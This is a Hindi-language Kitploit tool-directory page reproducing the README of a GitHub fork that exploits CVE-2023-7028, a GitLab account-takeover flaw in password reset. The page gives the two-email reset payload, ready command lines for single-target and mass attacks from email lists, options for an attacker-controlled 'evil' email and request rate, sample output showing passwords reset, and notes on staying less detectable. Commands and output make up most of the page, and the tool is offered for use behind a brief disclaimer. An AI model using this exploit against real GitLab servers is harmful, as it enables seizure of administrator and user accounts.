Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-7028 — रिपॉजिटरी का यह FORK CVE-2023-7028 का प्रूफ-ऑफ-कॉन्सेप्ट प्रस्तुत करता है। मैं केवल एक्सप्लॉइट उपयोग में सुधार कर रहा हूँ | Kitploit
उपकरण/GitHubGitHub/szybnev/cve-2023-7028
पासवर्ड हमलेभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubszybnev/cve-2023-7028

CVE-2023-7028

रिपॉजिटरी का यह FORK CVE-2023-7028 का प्रूफ-ऑफ-कॉन्सेप्ट प्रस्तुत करता है। मैं केवल एक्सप्लॉइट उपयोग में सुधार कर रहा हूँ

रिपॉजिटरी देखें
111 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-7028 | खाता-अधिग्रहण गिटलैब

अस्वीकरण

यह कोड भेद्यता का एक प्रूफ ऑफ कॉन्सेप्ट है, मैं किसी को भी इसे उन गिटलैब इंस्टेंस पर उपयोग करने के लिए प्रोत्साहित नहीं कर रहा हूँ जिनके वे मालिक नहीं हैं। यह उपकरण केवल अनुसंधान और शैक्षिक उद्देश्यों के लिए विकसित किया गया है और मैं इसके किसी भी उपयोग के लिए जिम्मेदार नहीं ठहराया जाऊंगा।

विवरण

यह रिपॉजिटरी https://github.com/Vozec/CVE-2023-7028 का फोर्क है। मैं केवल एक्सप्लॉइट उपयोग में सुधार कर रहा हूँ।

CVE-2023-7028 एक खाता-अधिग्रहण भेद्यता को संदर्भित करता है जो उपयोगकर्ताओं को बिना उपयोगकर्ता संपर्क के गिटलैब व्यवस्थापक खाते का नियंत्रण लेने की अनुमति देता है।

भेद्यता पासवर्ड रीसेट करते समय ईमेल के प्रबंधन में निहित है। एक हमलावर 2 ईमेल प्रदान कर सकता है और रीसेट कोड दोनों को भेजा जाएगा। इसलिए लक्ष्य खाते के ईमेल पते के साथ-साथ हमलावर के ईमेल पते को प्रदान करना और व्यवस्थापक पासवर्ड को रीसेट करना संभव है। (गिटलैब बताता है कि 2-कारक प्रमाणीकरण इस भेद्यता के शोषण को रोकता है, क्योंकि पासवर्ड रीसेट करने के बाद भी हमलावर लॉग इन नहीं कर पाएगा।)

यह भेद्यता asterion04 द्वारा खोजी गई थी।

पेलोड

यहाँ एक उदाहरण पेलोड है

root@kitploit:~
user[email][][email protected]&user[email][][email protected]

POC

विधि 1: अस्थायी ईमेल का उपयोग (एकल लक्ष्य)

root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW

विधि 2: हानिकारक ईमेल का उपयोग (एकल लक्ष्य)

root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

विधि 3: फ़ाइल से ईमेल सूची का उपयोग

root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt

[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting full attacks on 806 target(s) with rate limit 10 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Attack completed: 800/806 requests sent, 750/806 passwords reset

विधि 4: स्किप मोड - केवल रीसेट अनुरोध भेजें (तेज़)

root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt --skip -rps 20

[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting reset requests on 806 target(s) with rate limit 20 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
[DEBUG] Processing target 2/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Reset requests completed: 800/806 successful

सहायता

root@kitploit:~
$ python3 ./CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL (-t TARGET | -l EMAIL_LIST) [-e EVIL] [-p PASSWORD] [--skip] [-rps RATE_LIMIT]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-l EMAIL_LIST, --list EMAIL_LIST
File with target emails list
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
--skip Skip password reset, only send reset requests
-rps RATE_LIMIT, --rate RATE_LIMIT
Requests per second (default: 10)

उपयोग नोट्स

  • एकल लक्ष्य: एकल ईमेल पते पर हमला करने के लिए -t पैरामीटर का उपयोग करें
  • एकाधिक लक्ष्य: फ़ाइल से ईमेल पते लोड करने के लिए -l पैरामीटर का उपयोग करें (प्रति पंक्ति एक)
  • हानिकारक ईमेल: --evil विकल्प के बिना, स्क्रिप्ट रीसेट लिंक खोजने के लिए सार्वजनिक अस्थायी-मेल का उपयोग करती है (पेंटेस्ट के दौरान सावधान रहें)
  • स्किप मोड: पासवर्ड रीसेट की प्रतीक्षा किए बिना केवल रीसेट अनुरोध भेजने के लिए --skip का उपयोग करें (बड़े पैमाने पर हमलों के लिए तेज़)
  • दर सीमा: प्रति सेकंड अनुरोधों को नियंत्रित करने के लिए -rps का उपयोग करें (डिफ़ॉल्ट: 10)। उच्च मान = तेज़ लेकिन अधिक पता लगाने योग्य
  • ईमेल सूची प्रारूप: प्रति पंक्ति एक ईमेल के साथ सादा पाठ फ़ाइल

उदाहरण

root@kitploit:~
# Single target with custom password
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -p MyCustomPass123

# Mass attack with slower rate limit
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt -rps 5

# Fast reconnaissance - only send reset requests
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt --skip -rps 50

प्रभावित संस्करण

  • 16.1 to 16.1.5
  • 16.2 to 16.2.8
  • 16.3 to 16.3.6
  • 16.4 to 16.4.4
  • 16.5 to 16.5.5
  • 16.6 to 16.6.3
  • 16.7 to 16.7.1

संदर्भ

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
टूल डाउनलोड करें